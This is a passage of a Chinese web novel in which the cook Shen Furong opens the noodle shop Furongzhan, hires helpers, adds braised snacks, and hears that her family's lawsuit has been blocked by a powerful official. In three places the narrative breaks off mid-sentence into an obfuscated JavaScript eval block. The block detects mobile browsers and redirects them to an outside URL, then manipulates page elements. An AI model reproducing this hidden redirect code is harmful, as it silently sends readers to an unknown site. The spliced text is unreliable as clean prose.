草市坊的摊贩们听说沈芙蕖这么快就盘下铺面，个个伸长了脖子。有人拍腿叫好，因为这抢生意的丫头总算要挪窝了。也有人眼红得紧，不知她哪来这般泼天的本事，转眼就凑足了开店的银钱。 最不是滋味的要数卖炊饼的张大娘，她比沈芙蕖摆摊的时间可要久多了。 她攥着擀面杖，酸话像陈醋似的往外冒：“沈娘子啊，开店可不比摆摊呢，那装修的琐碎、物料的损耗、伙计的工钱，样样都要操心。你年纪轻，怕是镇不住那些油滑的帮工哩！” 话里夹枪带棒，脸上却堆着笑，那笑容虚浮得很，活像她摊上隔夜的炊饼，表面还酥着，内里早就凉透了。 沈芙蕖也不生气：“大娘说的在理。我年纪轻，少不得要摸着石头过河，以后还盼大娘您多多提点呢。” 张大娘鼻腔里挤出一声轻哼，这话挑不出错处，反倒让她心里更不是滋味。手里的烧饼捏了又捏，终究没舍得扔。去沈芙蕖那儿当个厨娘的念头在脑子里转了几转，可若是张口了，这张老脸往哪儿搁？ 沈芙蕖这边已暗自盘算起来，装修的琐碎自不必说，招人更是门学问。阿虞这丫头是定要留下的，做事麻利不说，真的非常吃苦耐劳，她在大理寺这段时间，硬生生将芙蕖小吃扛下来了。其余的人手嘛……她想，不如写张红纸告示，就贴在州桥的布告栏上。 14. 第十四章 阿虞从街上买了些碗筷，又给自己买了一张酥油饼，一路走到州桥边，布告栏前已围了三五人张望。 一挑夫放下肩上重担，转头问阿虞：“嗳，这位小娘子，你识字不，这上面写的是什么？” 阿虞踮起脚，念着那醒目红纸上的字：草市坊东南角芙蓉盏招堂倌两名，需记百样菜名。杂役一名，力气大者优先。男女不限。月钱面议。 “芙蓉盏是什么东西？莫不是卖茶汤的。”那挑夫问。 一汉子在码头做粗活，也住草市坊，因为芙蕖小吃便宜量大，味道又好，经常光顾。他解释说：“呐，就是原先那家芙蕖小吃，卖麻辣面片和葱油拌面的，你不也吃过，只不过现在换到了草市坊的门店。” “是哩！”一个挎着菜篮的妇人接茬：“昨儿个我还瞧见她往东南角那空铺子搬蒸笼呢。” 挑夫擦擦汗，仔细回想着：“莫不是徐家良铺的旧址？我记得当时也就开了九个多月，连杂役的月钱都欠着没给，就跑路了。你说说，到哪里去找他人去！” 汉子说：“你这么说我想起来了，那掌柜姓徐，还是个南边人。要我说啊，外地人就是不懂咱汴京人的口味，净做那酸甜味道的，咱好这口吗？” 挑夫摇摇头：“你们来汴京不久吧，徐家良铺之前，还开过几家食肆，都歇菜喽！要我说，那铺面风水不好，开一家倒一家。” 阿虞听了，忙不迭反驳：“你这老人家怎么这么说话，这食肆还没开张呢，你就要咒人家黄。” 挑夫自知失言，不好意思道：“我也就是随口一说，随口一说。” 阿虞先回到草市坊，把衣裳洗了晾晒起来，看见花婆婆的衣裳又多了个补丁，难免心疼起来。草市坊的围墙都坍塌得差不多了，阿虞一回来，就有人止不住往里头张望。 “你说花婆婆何苦，一把年纪了还收养个女娃，熬坏了眼睛做针线活养她，都是为了给她攒嫁妆。非亲带故的，何苦呢！又不是个男娃！” 街坊的窃窃私语声传入阿虞耳朵，她跺跺脚，并不去理会。 她知道自己是捡来的，花婆婆是江南人，因为大半辈子没生出儿子被休了，辗转到了汴京，又嫁了人，第二任丈夫以打渔为生，有一回捞到一条老大的鲫鱼，不知怎的让那鱼逃脱了，他扑进水里去逮，结果手脚抽筋，再也没游上来。 花婆婆先被休，后又死了丈夫，人人都说她不详。正当她准备一脖子吊死的时候，在树下捡到了瘦成梅干菜一样的阿虞，从此以后就相依为命了。 阿虞从小营养不良，体弱多病，花婆婆靠浆洗缝补赚的那点铜板，全部用来买药了。等阿虞长大一点，就去店里打杂，挣的钱也只管温饱，还好遇到了沈芙蕖。 在她心里，这位帮花婆婆售酱菜、肯雇她帮厨、教她手艺的东家，比庙里的菩萨还灵验。 阿虞将洗净的碗筷仔细码进竹篮，怕落了灰，又用素布严严实实盖好。才走了一小段路，手臂就已酸得发颤。 转过街角时，忽见东南角的铺面，“芙蓉盏”的招牌在午后的阳光下泛着温润的光泽，旁边的幌子随风轻摆，露出“一勺知味，盏里乾坤”的字样。 “姐姐！”她小跑进店，献宝似的掀开盖布：“我用井水刷了三遍，你瞧这碗，亮得能照见人影呢！” 沈芙蕖高兴接过竹篮，目光却落在阿虞脸上，敏锐察觉到阿虞的不对劲：“你的眼睛怎么红了？你哭了？” 阿虞仰起脸来笑了笑：“哪能呢，方才路上起了阵风，沙子迷了眼。” 沈芙蕖没有继续追问，只是轻轻拍了拍阿虞的肩。阿虞一边将碗整齐地码放在柜台上，一边把在州桥听到的闲言碎语娓娓道来。 沈芙蕖听完，说：“我倒不知这铺面竟有这般过往。不过阿虞，这世间万事皆有风险。畏首畏尾是风险，放手一搏也是风险。与其因惧怕失败而裹足不前，不如大胆去尝试。” 她忽然转过身，从灶台取来一把新打的铁勺：“大不了重头再来嘛，就像这铁勺，多打磨几次才见真章。” 阿虞重重点头，不管沈姐姐做什么，她都是很赞同很支持的。 “对了，阿虞你既熟悉这一带，帮姐姐去打听打听。先前那些食肆都卖些什么菜色？雇了多少人手？为何都开不下去。”沈芙蕖说。 话音未落，阿虞已挺直腰板，眼中闪着跃跃欲试的光。“包在我身上！”她脆生生应道，活像只领了军令的小鹞子。 接下来的几日，都在忙碌的装饰中度过。正厅设四张榉木方桌，桌上皆有装饰的花瓶。墙角立着个六层食架，每层摆不同釉色的盏，天青盛汤面，甜白装拌面，霁蓝专供冷淘。 大殿横梁上垂着数十枚木牌，每块都雕成荷叶形状。正面刻着雅致菜名，背面却用朱砂写着食材来历，比如选用汴河三斤以上活鲤、鸡蛋须得五更天现取等等，让客人一眼便明了。 沈芙蕖早已摸透汴京人的脾胃。这座百万人口的都城，每日面粉消耗逾五千石，坊坊必有面食铺子。她深谙此道，决意从面食入手，在草市坊立稳脚跟。 浇头品类，她备得极为周全，既有老主顾钟爱的葱油拌面、麻辣面片，又添新开发的蟹粉鳝丝、红烧羊肉，肉香四溢，更备素臊子等斋食，照顾佛门弟子的口味。 面条本身也暗藏玄机，手擀面筋道弹牙，用的是河东精麦，拉面柔滑顺口，掺了蛋清增香。 面条也有两种吃法，汤面醇厚，干拌爽利，任客挑选。佐餐小食更是精心配搭，酱萝卜皮脆生生，专解油腻。糖醋蒜瓣酸甜开胃，酱黄瓜咸香适口，更重要的是这些小菜都是免费的。 沈芙蕖暂时只准备了两种饮品，桂花渍梨清甜润喉，冰糖雪梨温润养人，几乎适合所有人的口味。 芙蓉盏开张当日 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16099599|179799||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，芙蕖小吃的熟客们闻风而至，将店面挤得水泄不通，堂内座无虚席，堂外还排着长龙。生意之火爆，当然也不出沈芙蕖所料。 连周寺正都领着大理寺一众衙役踏进芙蓉盏庆贺，堂内顿时更热闹了。这些熟面孔熟门熟路地占了最里间的两张八仙桌。 周寺正捋着胡子笑道：“沈娘子，自你走后，王疱长接了差事。托你的福，咱们大理寺总算能吃上正经饭食了。连陆大人都顿顿不落，胃疾都好了七八分。” 沈芙蕖闻言抿嘴一笑，趁着上菜的工夫悄声问起那桩案子。周寺正却突然正色，手指在胡须上打了个转：“此事牵连甚广……我并不能透露太多，娘子且静观其变就是。”随后话锋一转：“倒是你这卤鸭货，何时再开锅？弟兄们可都馋坏了。” 堂内顿时七嘴八舌嚷成一片，这个要鸭舌，那个要鸭胗，活像群闹腾的麻雀。 待众人酒足饭饱，周寺正却将沈芙蕖拉到院里，叹道：“店面这般红火，怎就你们主仆二人忙活？瞧你这手腕，比在大理寺时又瘦了一圈。” 沈芙蕖只是说暂时没找到合适的，要周寺正不要担心，同时不肯收饭钱，两人又是好一阵推辞。最后周寺正也急了眼了：“你若不收，我们以后还敢来吗？”沈芙蕖这才打了折收了钱。 正如周寺正看到的那样，这红火场面背后，藏着个棘手难题。那张招工的红纸在州桥头孤零零飘了三天，纸边都被风吹得卷了角，却始终无人问津。开张这几日，全靠沈芙蕖和阿虞两人苦苦支撑。 两人在灶台与堂间来回奔忙，累得腰都直不起来。阿虞端菜时手臂直打颤，沈芙蕖揉面的手腕也肿得老高。打烊时，两人瘫坐在厨房角落，连说话的力气都没有了。 这日趁不忙，阿虞找了街头几个伙计问原因，原来是大家都觉得那铺子不吉利，怕沈芙蕖没开几个月就黄了，像前几任掌柜那样，最后连月钱都不结了。 更有甚者背地里都笑沈芙蕖不会算账。卖炊饼的张大娘掰着手指头算账：“一碗面才卖十五文，小菜却任人添，沈芙蕖莫不是想当个散财童子？” 有人应和：“那小菜不要钱似的往上端，迟早要赔得连灶台都典当出去！” 更有人阴阳怪气地嘀咕：“到底是妇道人家，不懂经营之道。等她把本钱赔光了，看她还怎么充大方。” 沈芙蕖闻言，立刻重新找了张红纸，蘸墨重写：芙蓉盏急聘，当日现结工钱。堂倌每日五十文，杂役六十文。试工合格者，赏三日工钱。重重贴在州桥和食肆门口。 她让阿虞搬来张八仙桌，当场摆出两吊铜钱。路过的小伙计探头，她便笑着递上块枣糕：“不妨试试？横竖日头还没落，现钱就能到手。” 阿虞也吆喝：“你们都是傻子吗？看不出来我们家生意这么红火吗？今天进来当堂倌，没准明天就能当二掌柜哦！大家快进来瞧一瞧呀！” 15. 第十五章 阿虞的吆喝声终于吸引来几个探头探脑的人，其中有一高瘦少年挤到最前头，说道：“沈娘子，我愿意当个杂役，您不给我月钱都成，只要给口饭吃就行了。” 沈芙蕖听声音觉得有些耳熟，抬眼一看，正是前段时间被泼皮欺凌的卖鱼少年，不过，她当时让少年去投靠张记鱼行的张掌柜，怎么，他还没个着落？ “怎么是你？你没去张掌柜那……”沈芙蕖问。 卖鱼少年说：“张掌柜仁厚，收留了我。可是那泼皮隔三差五就来挑事，我怕连累张掌柜，所以……” 阿虞听得云里雾里，急得直跺脚：“你怕连累张掌柜，我们还怕被你连累呢，快走快走。” 沈芙蕖连忙说：“阿虞，你怎么说话呢。你叫什么名字？” “张澈。”他说道。 “既然是双向选择，你且试试能不能当好这杂役。当然，食肆管饱是自然，该给的月钱，一文都不会少。”沈芙蕖将一方干净帕子递给他。 阿虞轻叹一口气，觉得沈芙蕖很像一个拾破烂的，见着无依无靠的便往铺子里揽，也不嫌麻烦。可转念一想，自己不也是这么被捡回来的吗？ 沈芙蕖示意阿虞去灶台边盛面，自己亲手舀了满满一勺红烧羊肉浇头，厚厚地盖在面上，推给张澈：“先垫垫肚子，试工不急这一时。不够的话，还可以再添。” 张澈接过碗来，见到大块羊肉眼睛放光，吃得满嘴是油，阿虞在一旁嫌弃道：“你慢点，吃这么急，我怕你噎死在店里呢，饿死鬼投胎啊。” “真好吃，真好吃！沈娘子，这是我吃过最好吃的面了。”张澈一边狼吞虎咽一边说道。 “阿虞说得对，你别噎着，我去给你打碗汤。”沈芙蕖说。 此时有人摇了摇门口的风铃：“这里还招堂倌吗？我们兄弟俩想试一试！” 阿虞抬头一看，两个穿着靛蓝短打的少年并肩立在门槛处，长得一模一样，原来是对孪生兄弟。 “我是大双，他是小双，我俩原来是在城西打铁铺里当学徒，师傅苛待，把我兄弟俩当驴使，天不亮就逼我们拉风箱，还不给口热饭吃！我俩一气之下，就跑出来了。”大双指着小双介绍道。 阿虞瞧着这对孪生兄弟，“噗嗤”一笑：“你们一个模子里刻出来的，若真留下来了，我们怎么分辨你俩呢？” 大双拨开额前碎发，露出一块铜钱大小的疤：“去年打铁时火星子溅的，他就没有。” 这兄弟俩的到来，仿佛打开了什么闸门。不多时，芙蓉盏里便挤满了试工的人。沈芙蕖一视同仁，都请了进来。 一天的忙碌下来，沈芙蕖问阿虞：“你觉得试工的人里，哪些适合当堂倌，哪些适合当杂役呢？” 阿虞想了想试工的表现，说：“双胞胎兄弟脑子灵光，手脚麻利，力气还大，是当堂倌的不错人选。张澈虽然木讷，但胜在干活细致，眼里有活，至于其他人，我觉得也就凑合着用吧。” 沈芙蕖点点头：“倒是和我想到一起去了，那咱们就定这三人。” 大清早，张澈便蹲在井台搓洗抹布，然后大力拧干，一会要送进前厅，又和阿虞一起，将一天所需要的蔬菜肉类洗干净切好。 前厅也忙碌起来，大双正将四张八仙桌摆成好，小双跟在后头，手里的抹布在桌沿擦出圆弧。 这对孪生子虽相貌难辨，干活却自有章法，大双摆筷永远筷尖朝右，小双添茶必定七分满。有回阿虞故意打乱顺序，他们竟凭碗底水渍就能辨出哪位客人用哪只盏。 沈芙蕖将虾仁在冰水里滚过，与鳝丝、嫩笋片、莴苣丁同入热锅。铁锅在她手中颠出个漂亮的弧度，青白相间的食材如珠玉纷落，临起锅时点几滴花雕，酒香裹着热气腾起，在灶台映出一弯朦胧的虹。最后一道浇头也出锅了。 阿虞撸起袖子揉面，手掌压着面团在案板上反复推碾，面团越揉越光滑，然后将它反复摔在案上，弹起又落下，这样揉出来的面才筋道十足。 “沈姐姐，我把面揉好了，你瞧，这面多漂亮！”阿虞喊道。 临近饭点，客人逐渐增多。 沈芙蕖立在柜台后调账，眼角却瞧着这满室生机。大双托着食盘穿梭如鱼，一盘三碗热面纹丝不动，小双正给漕工添第三回汤。 沈芙蕖满意地看着这家小店，此时从店门外走来一个娉婷身影。 “好贵气的女子！”沈芙蕖心想。那女子不过十四五岁，梳着惊鹄髻，髻间只簪一支点翠凤钗，但凤嘴里衔的东珠却有龙眼大。 来人正是陆却的庶妹陆惠善，她早就听闻草市坊的芙蕖小吃从摊子换成了食肆，特意来试试。 “这么大的店，怎么连个雅间也没有？”她身后跟着的丫鬟皱着眉说。 芙蓉盏不设雅间，做的是街坊生意，主打的就是个实在。一碗碗热腾腾的面条，浇头堆得冒尖，价钱却公道。来这儿的多是些脚夫、货郎，图的就是个快当，灶台的火候旺，面条下锅滚三滚就能上桌。 堂里从不讲究那些虚礼。食客们捧着海碗，吸溜面条的声响此起彼伏。几口热汤下肚，话匣子就打开了，东家娶媳妇西家闹分家，说得比茶馆里的说书先生还热闹。赶上饭点，这喧嚷声能掀翻屋顶，倒比外头街市还多了几分鲜活气儿。 张澈机灵，看出此女身份不一般，于是搬来一张屏风，将她与其他人分隔开。那屏风上绘着汴河漕运图，虽非名贵之物，倒也干净雅致。 “这倒是勉强也行。”丫鬟见陆惠善轻轻点头，立刻将自带的甜白釉碗碟摆开，又拿出手绢，将那桌椅都抹了一遍。 大双问道：“这位娘子，我们店里有麻辣面片、葱油拌面，还有蟹粉鳝丝、红烧羊肉、松茸豆腐、金丝素臊子四种浇头。您想吃点什么？” 丫鬟骄矜道：“都来一份吧。” 没过一会，桌上就堆了六七碗面。陆惠善执起银箸，先挑了根金丝素臊子里的面筋。核桃仁烤香碾末，与芝麻酱、酱油、醋调成浓汁与面条拌在一起，面筋也吸饱了酱 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16099600|179799||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 汁，最是浓郁。她小口咬下，眉尖微微一挑，确实不一般。 “这松茸豆腐倒有些意思。”她又换了碗，舀了勺雪霞羹，豆腐在勺中颤巍巍的，衬着莼菜碧绿的卷边，真如雪里藏翠。 最得她欢心的是那碗蟹粉鳝丝面。这也是沈芙蕖得意之作，黄鳝必取汴河三桥下二斤半活鳝，清水养三日吐净泥沙。河蟹择选重阳后母蟹，拆肉时留完整蟹膏，鳝丝与蟹粉同烩，便可以堆出金谷堆雪之形。 陆惠善执箸的姿势极是讲究，三指虚握银箸尾端，箸尖轻点浇头时，连碗沿都不曾碰响。 虽然每种浇头都很爱吃，可非常克制，每碗坚决不肯超过三筷子。她抿了口雪梨水冲淡嘴中余味，帕子按过唇角也不见半点油光。 “味道甚好。”陆惠善说。话音刚落，丫鬟立刻又说：“劳驾，蟹粉鳝丝面再来一份，装到我们自带的食盒里。”说罢，递上一个精致的鎏金盒子。 等陆惠善离开，阿虞终于憋不住道：“怎么这么浪费呢？每碗就吃了三口，几乎就没动，这和直接倒掉有什么区别？” 张澈说：“这可糟蹋不得！我都拿去喂了鸡。” 怕面坨掉不好吃，陆惠善一路上催着轿夫加快脚步。 陆却今日难得踏进府门，陆夫人喜得连声唤人添茶。细细打量这月余未见的儿子，但见他面色红润，连官袍的腰封都紧了几分，不禁更加高兴。 “快尝尝这醋溜黄鱼，你最爱吃的。”早膳时，陆夫人亲自执箸，转眼间便将碟子堆成小山。 可陆却依然没吃几口便说饱了，又一头扎进书房，到了中午，又借口胃疼没用午膳。 陆惠善在一旁着急，怕陆却的胃病又犯，这才亲自到草市坊买面，就为了让他吃口热乎的。 推开书房门时，却不见陆却如平常般翻阅卷宗，只是手握着一支缠枝莲纹银簪出神。 陆惠善瞧了，这簪子花纹普通，样式老旧，街上随便拉一个姑娘过来，戴的簪子也比这个强些。 “哥，这是什么新的物证吗？”陆惠善走过去，把刚买的面端了过来。 陆却将那支银簪收起来，不自然道：“不是物证。” “那难道是府上哪个小丫鬟丢的，被哥捡到了？”陆惠善笑笑：“哥尝一下这个面条，保管让你忘不掉这味。” 陆却说：“确实是旁人丢的。” 陆惠善来了兴致：“在哪里捡到的？这银簪款式很旧了，不是汴京城里时兴的样子，也许是个年纪很大的人，也许，这簪子是个念想，所以一直带在身边。” “在……膳房捡到的。”陆却回答。 陆惠善一想到这簪子的主人可能是个膀大腰圆的厨娘，顿时没了兴趣，只是一味将面推到陆却面前。 陆却一向不肯拂妹妹好意，所以就着碗吃了几口，忽然觉得这味道……有些似曾相识。 见陆却发愣，陆惠善推他道：“怎么了哥，不好吃吗？我特意到草市坊买的，芙蓉盏生意很火爆的。” 16. 第十六章 “芙蓉盏？”陆却执箸的手微微一顿。 陆惠善解释道：“就是从前芙蕖小吃的沈娘子新开的食肆，以前卖鸭货的。” 陆却这才想起那笔借出的银钱，不过月余光景，她竟已将食肆经营得风生水起。 这般雷厉风行，倒叫大理寺那些拖沓的差役相形见绌，若衙门里多几个这般利落的人，他肩上的担子也能轻些。 陆惠善绕至陆却身后，手指搭上他的肩颈，力道不轻不重地揉捏起来：“哥，这般力道可还舒适？” 她手上动作未停，语气却添了几分促狭：“哥哥也该给我娶个嫂嫂了，若有人知冷知热地照料你，我们也好安心。” 陆却闻言轻笑：“又是母亲劝你来作说客是不是？婚姻之事，总要两情相愿才好。” 陆惠善眼波溜转，却拿刚才那根银簪开玩笑：“还说没遇到心仪的，刚才不是还睹物思人。” 又想到那簪子的主人或许家境清寒，又说：“其实门楣家世也不是最重要的，只要哥喜欢，先收在房里再说。” 陆却想起沈芙蕖那张倔强的脸，嘴角微扬，摇了摇头，笑意里藏着几分说不清道不明的意味。 陆惠善却在这笑中嗅到一丝不一般的味道，摇着陆却的脖子撒娇道：“哥，你是不是有什么情况，你快和惠善说嘛！” 陆却仍是摇头：“能有什么情况，大理寺的猫儿都是公的……” 陆惠善见兄长避而不答，眼珠一转，转而问道：“哥哥，汴河那桩案子可有进展？” 她自幼最爱缠着兄长说案，每每听得入迷，连膳食都顾不得用。 陆却神色微凝：“惠善，此案你以后不要再问。” “为何？“陆惠善扯住他的衣袖：“哥还不信我吗？我何时走漏过风声？” 陆却正色道：“并非不信你。此案牵连甚广，知道太多于你无益。” 陆惠善见他神色肃然，乖觉地转了话头：“哥哥难得休沐，陪惠善去挑件寿礼可好？过几日便是母亲生辰了。” 陆却拗不过惠善的软磨硬泡，终是换了身靛青常服陪她出门。 首饰铺前悬着琉璃帘，日光一照，在兄妹二人衣襟上洒下碎彩。惠善停在一方螺钿妆奁前，掌柜立刻捧出时新的一年景花钗，桃杏荷菊并排攒着，花心皆用蜜蜡封存着真花，颤巍巍地像要引来蝴蝶。 沈芙蕖和阿虞今日也特意上街买两只鹦鹉。 沈芙蕖想，店门口有时来的客人悄无声息，所以想着买只能迎客的鹦鹉，遇到客人就扑腾扑腾翅膀，或者喊上一句欢迎光临就更好了。 陆惠善买了花钗，陆却忽被角落一支青玉簪子勾住了心神。那簪头雕着半开的荷花，花瓣薄如蝉翼，莲心两点金蕊，十分精致。 “哥，这簪子有什么不对劲的地方吗？”陆惠善凑过来，却见兄长已取出荷包。 掌柜是个眼尖的，忙捧出锦盒：“官人好眼力，这是苏州玉匠仿钱塘六月荷新雕的，不过百文钱。” 陆却也不多说，付了钱便往怀里一揣，惠善怎么问，他也一句不说，迈着步伐朝另一头走去。 沿街的鸟笼挂得琳琅满目，画眉、百灵在笼中啾啾啼啭。 阿虞踮脚指着最前排的金丝笼：“姐姐这主意真好！那些个闷声进店的客人，总害得咱们来不及招呼。” 沈芙蕖伸出食指轻叩笼杆，一只翠羽红喙的虎皮鹦鹉立刻蹦跳过来，突然扯开嗓子：“小娘子好”。 “就它了。”沈芙蕖笑着递过银钱，阿虞早迫不及待逗弄起来，凑近鹦鹉说：“你要说客官里面请。” 二人提了鹦鹉笼，高高兴兴往回返。阿虞扯了扯沈芙蕖袖子，小声说：“姐姐快看，那不是来芙蓉盏吃面的小娘子，她旁边站的，是陆大人吗？” 沈芙蕖远远看去，陆惠善那支点翠凤钗扎眼得很，步行时东珠颤颤巍巍。旁边站着的自然是陆却，身着靛青色云纹直裰，衣料是松江府的三梭布，远看朴素，实则华贵。 两人站在宣纸店前，一个如砚中墨色般沉静，一个似宣纸上晕开的胭脂般鲜活，倒是十分引人注目。 由于惠善养在深闺甚少出门，和陆却又是同父异母，相貌并不相同，所以并没人知道他们是兄妹。 阿虞说：“陆大人这眼光可真不怎么样，瞧那小娘子骄矜的模样。” 沈芙蕖见两人走近了，不好装作未见，拎着鸟笼施施然行礼：“陆大人安好。” 陆惠善眼底闪过一丝讶色，她从未想过兄长竟会识得除自己之外的姑娘。 目光在二人身上细细打量，只见沈芙蕖生得美，若是再丰润几分、白皙些许，倒也称得上是个大美人。 至于旁边那个未长开的黄毛丫头，尚显青涩，此刻正瞪着一双圆眼，毫不避讳地回望着她。 陆惠善故作迟疑地望向陆却：“这位是......” 阿虞快人快语：“这是芙蓉盏的沈掌柜。怎么，姑娘晌午才来店里用过面，这会儿就不认得了？” 陆却微微颔首：“正是。” 阿虞并不喜欢陆惠善，一把拽住沈芙蕖的衣袖：“掌柜的，咱们该回去了，灶上还炖着汤呢。” 沈芙蕖倒也不在意，礼貌告辞便和阿虞一起回到芙蓉盏。 大双小心翼翼地将鸟笼挂在店门前的海棠枝上，又添了把新粟米，清水里还特意滴了半勺蜂蜜：“这小东西机灵得很，赶明儿教会它唱《卖花声》，保不准连樊楼的客人都招来。” 张澈捧着两盏晾凉的水来：“两位姐姐走了远路，喝点水润润喉。” 见大堂没什么人，沈芙蕖问道：“近日可有什么难处？咱们开食肆的，最要紧是听客人实话。” 她话音未落，小双已抢着道：“老主顾们总念叨咱家的卤鸭货，问何时再送。” 大双也不解：“我听说那酱鸭货很受欢迎，怎么不送了呢？” 沈芙蕖望着外头渐炽的日头：“并非我不卖了，以前我是支摊子卖 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16099601|179799||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 面食，薄利多销，卖鸭货这类小吃是为了多赚点钱，可是眼见着要到夏日了，从咱草市坊送到城东，暑气一蒸，鸭货就不新鲜了，到时候顾客吃坏了肚子，还不是要来找我们理论？” 大双拍头，恍然大悟：“原来如此。现在的温度是一天比一天高了，早上揉的面，下午就不敢用了。” 沈芙蕖又说：“这些天靠着浇头面和免费的小菜，算是把客人稳定住了。我准备在这门口支一个凉棚，专售现做现吃的卤味，把原来的小吃再卖起来。” 阿虞眼睛一亮，拍手笑道：“这主意妙极！买小食的客人闻着面香，少不得要进来尝一碗。吃面的客人见着新鲜小食，多半也会搭着买些。这一来一往，生意可不就滚起来了？” 沈芙蕖含笑点头：“正是这个理。先前顾虑人手不足，怕乱了章法。不过这几日看你们配合得当，倒是我多虑了。铺子进项多了，各位的工钱自然水涨船高。你们意下如何？” “我们都听沈掌柜的！”几人异口同声答道。 沈芙蕖彻夜思量，最终选定了几样卤味：鸡蛋、豆干、腐竹、莲藕和鸭货。这些食材易得，处理起来也简便，只要卤汁熬得地道，滋味定不会差。 她将荜拨、八角、陈皮、桂皮、丁香、白芷细细研磨成粉，最后撒入一把干茉莉。这茉莉是她独门秘方，能勾出食材本真的甘甜。 铁锅烧至将红未红时，先下冰糖炒出琥珀色。香料入锅，顿时腾起一阵馥郁的香气。 沈芙蕖端来用鸡架和豚骨熬煮的乳白高汤，将炒好的香料尽数倒入，随后加入豆豉、酱油和粗盐调味，一锅醇厚的卤汁便成了。 沈芙蕖又找草市坊的木匠为她定制了许多竹签，将豆干、腐竹和莲藕串成串，同鸡蛋鸭货一起卤，不过半个时辰，那香味飘得满街都是。 大双先拣了串豆干尝尝味道，那豆干外皮虎纹斑驳，内里却嫩如凝脂，豆香混着五香味在唇齿间打转，大双狼吞虎咽吃完一串，舌头都要烫化了。 浓郁的卤香早已飘满整条街巷，胜过千言万语的吆喝。街坊们循着香气而来，在芙蓉盏门前自发排起长队。布衣百姓、文人雅士、稚龄孩童，无不翘首以盼，只为尝一口这勾魂摄魄的卤味。 阿虞趁机吆喝：“我说大爷大娘娘子官人们，你们进来等就是，都快把队排到人家绸缎铺里了，一会呀，绸缎铺的掌柜要出来跟我理论的！里面请啊，还有凳子可以歇脚呢！” 众人进了店，又闻到喷香的浇头面，忍不住再来上一碗，再不济的，也要摸出两个铜板买碗糖水喝。 这一天，赚到了历史之最。沈芙蕖长吁一口气，照这样下去，还上陆却的一百贯也是指日可待。 她下意识地抬手想抚一抚发间的银簪，指尖却只触到空落落的发髻。 那支缠枝莲纹的旧簪子，不知何时已不翼而飞。许是遗落在草市坊的宅院里，又或是掉在大理寺膳房的角落，她翻遍了所有可能的地方，却始终寻不见它的踪影。 17. 第十七章 暑气渐浓，沈芙蕖在铺子里添了银耳羹、绿豆汤等消暑甜水。冰镇的甜汤配上醇厚的卤味，倒成了街坊们的新宠，每日未到晌午便卖得罄尽。 这日周寺正突然造访，沈芙蕖只当他是来解馋的，忙堆起笑脸相迎：“周大人，别来无恙！阿虞，快盛碗冰镇绿豆汤来。大人今日怎么得空光临小店？” 周寺正眉头紧锁，眼下乌青如墨，沈芙蕖见周寺正神色严峻，心下一紧，怔怔问道：“周大人这是怎么了？” 周寺正道：“沈娘子借一步说话。” 竹帘一挑，后院顿时隔绝了前堂的喧嚣，沈芙蕖斟了茶，茶香尚未散开，就听周寺正沉声道：“沈娘子，实不相瞒，你兄嫂那案子……怕是不能再查下去了。” “这是为何？”茶盏在沈芙蕖手中一颤。这案子人证物证确凿，连陆却都亲自过问了，沈芙蕖以为，很快就能结案，夺回自己的家产。 周寺正长叹一口气：“沈娘子，这事可不简单呐。你听说过汴河浮尸案吗？” 沈芙蕖点头道：“听说过坊间几句传闻。怎么，难道这两件事情有关联吗？” 周寺正点头：“正是。别的我也不能多说，你知道知道这两件案子后面都站着位只手遮天的大人物，就行了，再查下去啊，陆大人恐怕都难保乌纱帽！” “大人物？”沈芙蕖喃喃自语。“周大人，加上阿福一家五口人，这可是十几条人命呐。难道陆大人也——他也无可奈何吗？” 周寺正暗自苦笑，这丫头倒是把陆却的脾性摸得透彻，陆却何曾将权贵放在眼里？偏偏底下人个个噤若寒蝉，联手织了张瞒天网，集体欺瞒着。可纸终究包不住火，就怕瞒得住一时，瞒不住一世。 若是有一天瞒不住了……想到这，周寺正真是后悔没有和张贵一起辞官。 周寺正长叹一声，浑浊的眼中泛起不忍：“沈娘子，这案子……到此为止罢，你也就认命吧。要怨就怨这世道不公，怨你我皆是蝼蚁。我实在不忍看你这般满怀希冀苦等案子判决，可这世道，便是如此啊。” “多谢大人相告，芙蕖知道了，在此多谢大人。”沈芙蕖咬着唇说。 周寺正走后，阿虞轻轻走了过来，见一向乐观坚强，甚至有些泼辣的沈娘子，此刻眼眶憋得通红，忙问道：“姐姐，发生什么了？” 沈芙蕖轻轻摇头，硬生生又将眼泪逼了回去。哭，没什么用，她不做没用的事情。 她低着头回到前堂，迅速调整好情绪，又笑脸迎客。 “沈掌柜……赵大头又来了，这可怎么办！”张澈声音发颤，指着店门前那个魁梧身影，正是先前一直欺负张澈的地痞。那地痞因天生头颅硕大，在草市坊横行多年，人送诨号“赵大头”。 